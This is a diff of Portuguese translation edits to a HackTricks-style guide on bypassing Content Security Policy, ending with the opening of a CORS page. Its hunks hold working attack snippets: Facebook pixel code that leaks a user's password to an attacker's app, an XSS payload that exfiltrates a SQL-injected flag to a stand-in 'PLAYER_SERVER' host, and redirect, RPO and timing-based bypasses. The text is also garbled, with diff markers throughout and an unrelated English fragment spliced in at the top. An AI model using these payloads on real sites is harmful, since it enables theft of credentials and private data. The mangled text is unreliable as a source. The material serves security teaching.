### 2. Data: URI Scheme
|
## Disclaimer
|
||||||
|
|
||||||
Using the `data:` URI scheme, an attacker can embed the contents of a script directly into the HTML document. If the CSP policy allows `data:` as a valid source for scripts, this technique can be used to bypass CSP restrictions.
|
This guide is for educational purposes only. Do not use these techniques for illegal activities.
|
||||||
|
|
||||||
### 3. Script Gadgets
|
|
||||||
|
|
||||||
Script gadgets are small pieces of code that can be used to bypass CSP restrictions by manipulating the behavior of existing scripts on the page. By leveraging script gadgets, an attacker can execute malicious code without triggering CSP violations.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
Content Security Policy is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is essential to configure CSP properly to ensure its effectiveness. By understanding common bypass techniques, developers and security professionals can better secure their web applications against potential CSP bypass vulnerabilities.
|
|
||||||
```
|
```
|
||||||
Content-Security-Policy: connect-src www.facebook.com;
|
Content-Security-Policy: connect-src www.facebook.com;
|
||||||
```
|
```
|
||||||
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
|
Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com o [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
|
||||||
|
|
||||||
1. Crie uma conta de desenvolvedor no Facebook aqui.
|
1. Crie uma conta de desenvolvedor no Facebook aqui.
|
||||||
1. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
1. Crie um novo aplicativo "Facebook Login" e selecione "Website".
|
||||||
1. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
|
1. Vá para "Configurações -> Básico" e obtenha seu "ID do Aplicativo".
|
||||||
1. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" por meio de um "customEvent" e a carga de dados.
|
1. No site alvo de onde deseja exfiltrar dados, você pode exfiltrar dados diretamente usando o gadget do Facebook SDK "fbq" através de um "customEvent" e a carga de dados.
|
||||||
1. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
|
1. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
|
||||||
1. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
|
1. Selecione a aba "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
|
||||||
|
|
||||||
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
|
Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o aplicativo do desenvolvedor do Facebook do atacante com o ID do aplicativo e emitir um evento personalizado como este:
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
### Bypass através de RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
|
||||||
|
|
||||||
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
|
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
Por exemplo, se CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
||||||
|
|
||||||
|
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||||
```html
|
```html
|
||||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||||
```
|
```
|
||||||
|
@ -414,7 +413,7 @@ Aqui está um exemplo:
|
||||||
```
|
```
|
||||||
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, os scripts `/test` e `/a/test` serão bloqueados pelo CSP.
|
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, os scripts `/test` e `/a/test` serão bloqueados pelo CSP.
|
||||||
|
|
||||||
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como se trata de um redirecionamento, o **caminho não é considerado** e o **script pode ser carregado**, contornando assim a restrição do caminho.
|
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como se trata de um redirecionamento, o **caminho não é considerado** e o **script pode ser carregado**, contornando assim a restrição de caminho.
|
||||||
|
|
||||||
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
|
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
|
||||||
|
|
||||||
|
@ -430,13 +429,13 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||||
```
|
```
|
||||||
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página web qualquer imagem de qualquer recurso.
|
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página web qualquer imagem de qualquer recurso.
|
||||||
|
|
||||||
Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
|
Você pode contornar essa CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
|
||||||
```javascript
|
```javascript
|
||||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||||
```
|
```
|
||||||
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||||
|
|
||||||
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **fazer upload** dela no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||||
|
|
||||||
### Com Service Workers
|
### Com Service Workers
|
||||||
|
|
||||||
|
@ -468,7 +467,7 @@ Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
||||||
### img-src \*; via XSS (iframe) - Ataque de tempo
|
### img-src \*; via XSS (iframe) - Ataque de tempo
|
||||||
|
|
||||||
Observe a falta da diretiva `'unsafe-inline'`\
|
Observe a falta da diretiva `'unsafe-inline'`\
|
||||||
Desta vez, você pode fazer a vítima **carregar** uma página em **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações necessárias.
|
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar** você pode extrair as informações necessárias.
|
||||||
|
|
||||||
Desta vez uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a bandeira:
|
Desta vez uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a bandeira:
|
||||||
```html
|
```html
|
||||||
|
@ -536,9 +535,9 @@ Este ataque implicaria alguma engenharia social onde o atacante **convence o usu
|
||||||
|
|
||||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||||
|
|
||||||
### Bypass de CSP restringindo CSP
|
### CSP bypass restringindo o CSP
|
||||||
|
|
||||||
Neste [**writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||||
|
|
||||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||||
|
|
||||||
|
@ -549,7 +548,7 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, por meio de **injeção de HTML**, **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, por meio de **injeção de HTML**, **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||||
O CSP pode ser tornar mais restritivo usando **tags meta de HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
O CSP pode ser tornar mais restritivo usando **meta tags HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||||
'unsafe-eval' 'strict-dynamic'
|
'unsafe-eval' 'strict-dynamic'
|
||||||
|
@ -569,12 +568,12 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
||||||
### Vazamento de Informações com CSP e Iframe
|
### Vazamento de Informações com CSP e Iframe
|
||||||
|
|
||||||
- Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
|
- Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
|
||||||
- Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
- Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
||||||
- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
|
- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
|
||||||
|
|
||||||
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
|
É interessante notar que navegadores como o Chrome e o Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
|
||||||
|
|
||||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar esse método:
|
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||||
```markdown
|
```markdown
|
||||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||||
```
|
```
|
||||||
|
@ -619,7 +618,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||||
```
|
```
|
||||||
### ALGUNS + 'self' + wordpress
|
### ALGUNS + 'self' + wordpress
|
||||||
|
|
||||||
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **de outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
||||||
|
|
||||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||||
|
@ -627,7 +626,7 @@ ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um e
|
||||||
|
|
||||||
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
|
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
|
||||||
|
|
||||||
Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno de chamada** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||||
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||||
|
|
||||||
## Bypasses de Exfiltração CSP
|
## Bypasses de Exfiltração CSP
|
||||||
|
@ -693,12 +692,12 @@ var pc = new RTCPeerConnection({
|
||||||
});
|
});
|
||||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||||
```
|
```
|
||||||
## Verificando Políticas CSP Online
|
## Verificação de Políticas CSP Online
|
||||||
|
|
||||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||||
|
|
||||||
## Criando CSP Automaticamente
|
## Criação Automática de CSP
|
||||||
|
|
||||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||||
|
|
||||||
|
@ -726,7 +725,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||||
|
|
||||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||||
|
|
||||||
|
@ -739,7 +738,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -74,7 +74,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,19 +6,19 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## O que é CORS?
|
## O que é CORS?
|
||||||
|
|
||||||
Cross-Origin Resource Sharing (CORS) padrão **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
|
O padrão Cross-Origin Resource Sharing (CORS) **permite que os servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
|
||||||
|
|
||||||
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`), e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
|
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`) e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
|
||||||
|
|
||||||
A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma:
|
A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma:
|
||||||
|
|
||||||
|
@ -35,9 +35,9 @@ A aplicação da política de mesma origem no contexto de `http://normal-website
|
||||||
|
|
||||||
### Cabeçalho `Access-Control-Allow-Origin`
|
### Cabeçalho `Access-Control-Allow-Origin`
|
||||||
|
|
||||||
